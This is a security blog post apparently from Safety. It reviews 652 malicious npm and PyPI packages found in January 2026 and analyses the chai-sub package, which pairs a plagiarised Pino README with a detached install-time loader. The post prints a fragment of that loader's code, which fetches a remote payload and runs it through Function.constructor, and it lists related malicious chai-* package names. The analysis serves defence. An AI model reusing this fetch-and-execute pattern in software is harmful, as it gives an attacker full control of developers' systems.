Open Source Supply Chain Threats: January 2026 in Review

By Juan Aguirre

Open Source Supply Chain Threats: January 2026 in Review

The holiday season has wrapped up, and it seems like even threat actors are getting back to their day jobs, or maybe they're just swamped at school with homework pilling up, leaving them less time to churn out malicious packages. We usually see a noticeable jump in activity during holidays and school breaks, often fueled by bug bounty PoCs and trolling packages. But January brought things back to baseline.

Here's what we saw.

January by the Numbers

Total malicious packages: 652

NPM: 565 (87%)

PyPI: 87 (13%)

These findings were aggregated from multiple sources: OSV, GHSA, and our own AI-powered malware detection engine.

NPM vs PyPI

NPM continues to dominate at 87%, no surprises here. The ecosystem's combination of automatic install script execution, minimal publishing barriers, and micro-dependency culture keeps it attractive to attackers.

PyPI accounts for the remaining 13%. The lower volume doesn't mean lower risk; Python's presence in AI/ML pipelines and data science environments makes it an attractive target. After all, we are in the AI era.

Spotlight: chai-sub and the Art of Deception

One of the more interesting finds this month was chai-sub, part of a series of packages we identified all using the chai- prefix. What makes this one stand out is the level of effort put into making it look legitimate and the amount of packages with the same naming syntax and behaviour, pointing to a larger campaign.

The package pretends to be related to Pino, the popular Node.js logging library. The README is a direct copy of Pino's documentation, they didnt even bother to update the badges, which still point to the real pino package. It also has links to the real pinojs/pino GitHub repo, and even claims of sponsorship from nearForm and Platformatic.

But the readme isnt the only thing, the package actually contains legitimate files with real functionality with the hopes of fooling mere mortals that want to look through the code or run a couple of basic tests.

A casual inspection might pass but the real payload is hidden elsewhere.

Stage 1: Stealthy Loader

Upon installation, index.js spawns a detached child process:

A couple of things stand out here. There are clear signs of stealth:

  • Detached process — persists after npm install completes
  • stdio: "ignore" — all output suppressed, failures are silent
  • child.unref() — parent can exit, hiding the backdoor in process listings
  • If you're not watching for orphaned Node processes, you won't see it. And let’s be honest, who is really watching for orphaned processes when installing a simple dependency?

    Stage 2: Remote Code Execution

    The spawned process (lib/caller.js) fetches and executes a remote payload. The configuration is base64 encoded to avoid casual detection. But this is an old trick and it’s not really fooling anyone. A simple base64 decode will get us what we really want to see:

    The execution flow:

  • Fetches payload:
  • const s = (await axios.get(src,{headers:{[k]:v}})).data.cookie;

  • Extracts payload from response.data.cookie. The malicious JS is hidden in a field designed to look innocuous
  • Executes via new Function.constructor("require", s). Gives the payload full access to Node's require
  • Retry logic with 5 attempts ensures delivery even on flaky networks
  • The new Function.constructor trick is the key. It creates a function with access to any Node module; file system, network, child processes, everything. At that point, the attacker owns your system. Yes, you’ve been Pwned!

    The Deception Stack

    To summarize what makes this package effective:

    Package name: chai-sub sounds like a legitimate utility

    README: Plagiarized from Pino with real badges and sponsor claims

    constants.js, file.js and others: Legitimate logging constants and real functionality copied from Pino as a decoy

    index.js: Spawns silent, detached process

    lib/caller.js: Fetches and executes remote payload with full system access

    This isn't a lazy typosquat written for a quick bug bounty. It's a multi-layered deception designed to pass both automated scans and human code review at a glance.

    Related Packages

    Here's the full list of chai-* packages we identified exhibiting similar malicious behaviour:

  • chai-as-enhanced
  • chai-as-executed
  • chai-as-extended
  • chai-as-hashed
  • chai-as-required
  • chai-as-validated
  • chai-async-test
  • chai-async-tests
  • chai-bin
  • chai-chain-async
  • chai-chains-async
  • chai-dex
  • chai-min
  • chai-px
  • chai-sub
  • chai-tests-async
  • Other Notable Findings

    January also saw continued activity from campaigns we've covered in depth on our blog site:

    Shai-Hulud 3.0 — The third iteration of this “worm” came in January, bringing new obfuscation techniques. Full analysis→

    Hash Validation Copycat Packages — Threat actors targeted popular hash validation libraries with packages designed to steal potentially sensitive system information. Full analysis →

    How Can Safety Help Protect You?

    At Safety, we've already caught thousands of malicious open source packages before they could compromise developer environments. The Safety Firewall protects developers and CI pipelines proactively, every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems. Prevention, not just detection.

    Interested in trying Safety Firewall? Reach out and we'll get you set up.

    Read the full article